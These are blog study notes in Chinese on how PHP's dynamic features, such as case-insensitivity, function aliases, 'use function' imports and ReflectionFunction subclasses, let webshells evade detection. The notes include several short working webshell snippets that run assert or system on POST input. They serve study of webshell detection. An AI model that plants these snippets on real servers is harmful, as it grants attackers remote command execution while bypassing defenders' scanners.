PHP动态特性学习

2021/4/10 20:11:33

本文主要是介绍PHP动态特性学习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

PHP动态特性学习

主要是学习这个pdf 《PHP动态特性的捕捉与逃逸》github

PHP动态特性的定义是作者所定义的,大概就是说是我们无法确定一段代码或者程序的具体功能,即存在动态性的功能变化,而所用到的几乎所有webshell都会用到动态特性

比如

$arr = [$_GET,$_POST,$_COOKIE];
array_map($callback,...$arr);

如果callback被控制,改成assert等操作,就会变成webshell

  1. PHP是一个大小写不敏感的语言,可以利用大小写绕过对函数的判断,利用函数名大小写,绕过对敏感函数的检测

  2. PHP底层存在一个PHP_FALIAS宏,作用是赋值给一个函数一个新的"别名",比如show_source函数就是highlight_file别名

    image-20210410190445381

    在PHP7后preg_replace的e模式删除了,但是mbereg_replace的e模式还存在

  3. PHP5.6之后支持函数别名,使用use function a as b来导入a,即下面的b代表a,因此可能会出现下面的木马

    use function \assert as test;
    
    test($_POST[2333]);
    

    或者利用类的继承操作来绕过黑名单

    class test extends ReflectionFunction{}
    $f = new test('system');
    $f->invoke($_POST[2333]);
    

    php7的匿名类

    $f = new class('system') extends ReflectionFunction{}
    $f->invoke($_POST[2333]);
    


这篇关于PHP动态特性学习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程